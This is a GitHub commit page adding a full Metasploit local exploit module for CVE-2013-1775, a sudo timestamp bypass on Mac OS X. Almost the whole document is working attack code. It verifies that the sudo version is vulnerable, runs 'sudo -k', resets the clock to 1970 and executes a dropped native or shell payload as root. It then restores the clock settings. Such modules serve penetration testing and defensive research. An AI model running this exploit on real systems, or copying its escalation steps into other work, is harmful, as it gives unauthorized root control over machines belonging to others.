Skip to content

Commit 252f48a

Browse files
author
jvazquez-r7
committed
2 parents 355c311 + 0baaf98 commit 252f48a

File tree

1 file changed

+233
-0
lines changed

1 file changed

+233
-0
lines changed
Lines changed: 233 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,233 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
#
6+
# http://metasploit.com/
7+
##
8+
require 'shellwords'
9+
10+
class Metasploit3 < Msf::Exploit::Local
11+
12+
# ManualRanking because it's going to modify system time
13+
# Even when it will try to restore things, user should use
14+
# it at his own risk
15+
Rank = NormalRanking
16+
17+
include Msf::Post::Common
18+
include Msf::Post::File
19+
include Msf::Exploit::EXE
20+
include Msf::Exploit::FileDropper
21+
22+
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
23+
SUDOER_GROUP = "admin"
24+
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
25+
26+
# saved clock config
27+
attr_accessor :time, :date, :networked, :zone, :network_server
28+
29+
def initialize(info={})
30+
super(update_info(info,
31+
'Name' => 'Mac OS X Sudo Password Bypass',
32+
'Description' => %q{
33+
Gains a session with root permissions on versions of OS X with
34+
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
35+
and possibly lower versions.
36+
37+
If your session belongs to a user with Administrative Privileges
38+
(the user is in the sudoers file and is in the "admin group"), and the
39+
user has ever run the "sudo" command, it is possible to become the super
40+
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
41+
42+
Fails silently if the user is not an admin or if the user has never
43+
ran the sudo command.
44+
},
45+
'License' => MSF_LICENSE,
46+
'Author' =>
47+
[
48+
'Todd C. Miller', # Vulnerability discovery
49+
'joev <jvennix[at]rapid7.com>', # Metasploit module
50+
'juan vazquez' # testing/fixing module bugs
51+
],
52+
'References' =>
53+
[
54+
[ 'CVE', '2013-1775' ],
55+
[ 'OSVDB', '90677' ],
56+
[ 'BID', '58203' ],
57+
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
58+
],
59+
'Platform' => 'osx',
60+
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
61+
'SessionTypes' => [ 'shell', 'meterpreter' ],
62+
'Targets' => [
63+
[ 'Mac OS X x86 (Native Payload)',
64+
{
65+
'Platform' => 'osx',
66+
'Arch' => ARCH_X86
67+
}
68+
],
69+
[ 'Mac OS X x64 (Native Payload)',
70+
{
71+
'Platform' => 'osx',
72+
'Arch' => ARCH_X86_64
73+
}
74+
],
75+
[ 'CMD',
76+
{
77+
'Platform' => 'unix',
78+
'Arch' => ARCH_CMD
79+
}
80+
]
81+
],
82+
'DefaultTarget' => 0,
83+
'DisclosureDate' => 'Feb 28 2013'
84+
))
85+
register_advanced_options([
86+
OptString.new('TMP_FILE',
87+
[true,'For the native targets, specifies the path that '+
88+
'the executable will be dropped on the client machine.',
89+
'/tmp/.<random>/<random>']
90+
),
91+
], self.class)
92+
end
93+
94+
# ensure target is vulnerable by checking sudo vn and checking
95+
# user is in admin group.
96+
def check
97+
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
98+
sudo_vn = $1
99+
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
100+
# check vn between 1.6.0 through 1.7.10p6
101+
# and 1.8.0 through 1.8.6p6
102+
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
103+
print_error "sudo version #{sudo_vn} not vulnerable."
104+
return Exploit::CheckCode::Safe
105+
end
106+
else
107+
print_error "sudo not detected on the system."
108+
return Exploit::CheckCode::Safe
109+
end
110+
111+
if not user_in_admin_group?
112+
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
113+
Exploit::CheckCode::Safe
114+
end
115+
# one root for you sir
116+
Exploit::CheckCode::Vulnerable
117+
end
118+
119+
def exploit
120+
if not user_in_admin_group?
121+
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")
122+
end
123+
# "remember" the current system time/date/network/zone
124+
print_good("User is an admin, continuing...")
125+
126+
# drop the payload (unless CMD)
127+
if using_native_target?
128+
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
129+
write_file(drop_path, generate_payload_exe)
130+
register_files_for_cleanup(drop_path)
131+
cmd_exec("chmod +x #{[drop_path].shelljoin}")
132+
print_status("Payload dropped and registered for cleanup")
133+
end
134+
135+
print_status("Saving system clock config...")
136+
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
137+
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
138+
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
139+
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
140+
@network_server = if @networked
141+
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
142+
end
143+
144+
run_sudo_cmd
145+
end
146+
147+
def cleanup
148+
print_status("Resetting system clock to original values") if @time
149+
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
150+
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
151+
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
152+
153+
if @networked
154+
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
155+
unless @network_server.nil?
156+
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
157+
end
158+
end
159+
160+
print_good("Completed clock reset.") if @time
161+
end
162+
163+
private
164+
165+
def run_sudo_cmd
166+
print_status("Resetting user's time stamp file and setting clock to the epoch")
167+
cmd_exec(
168+
"sudo -k; \n"+
169+
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
170+
" -setdate 01:01:1970 -settime 00:00"
171+
)
172+
173+
# Run Test
174+
test = rand_text_alpha(4 + rand(4))
175+
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
176+
177+
print_status("Testing that user has sudoed before...")
178+
output = cmd_exec('echo "" | ' + sudo_cmd_test)
179+
180+
if output =~ /incorrect password attempts\s*$/i
181+
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
182+
elsif output =~ /#{test}/
183+
print_good("Test executed succesfully. Running payload.")
184+
else
185+
print_error("Unknown fail while testing, trying to execute the payload anyway...")
186+
end
187+
188+
# Run Payload
189+
sudo_cmd_raw = if using_native_target?
190+
['sudo', '-S', [drop_path].shelljoin].join(' ')
191+
elsif using_cmd_target?
192+
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
193+
end
194+
195+
## to prevent the password prompt from destroying session
196+
## backgrounding the sudo payload in order to keep both sessions usable
197+
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
198+
199+
print_status "Running command: "
200+
print_line sudo_cmd
201+
output = cmd_exec(sudo_cmd)
202+
203+
end
204+
205+
# helper methods for accessing datastore
206+
def using_native_target?; target.name =~ /native/i; end
207+
def using_cmd_target?; target.name =~ /cmd/i; end
208+
def drop_path
209+
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
210+
end
211+
212+
# checks that the user is in OSX's admin group, necessary to change sys clock
213+
def user_in_admin_group?
214+
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
215+
end
216+
217+
# helper methods for dealing with sudo's vn num
218+
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end
219+
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
220+
vn_parts = parse_vn(vn)
221+
ranges.any? do |range|
222+
min_parts = parse_vn(range[0])
223+
max_parts = parse_vn(range[1])
224+
vn_parts.all? do |part|
225+
min = min_parts.shift
226+
max = max_parts.shift
227+
(min.nil? or (not part.nil? and part >= min)) and
228+
(part.nil? or (not max.nil? and part <= max))
229+
end
230+
end
231+
end
232+
233+
end

0 commit comments

Comments
 (0)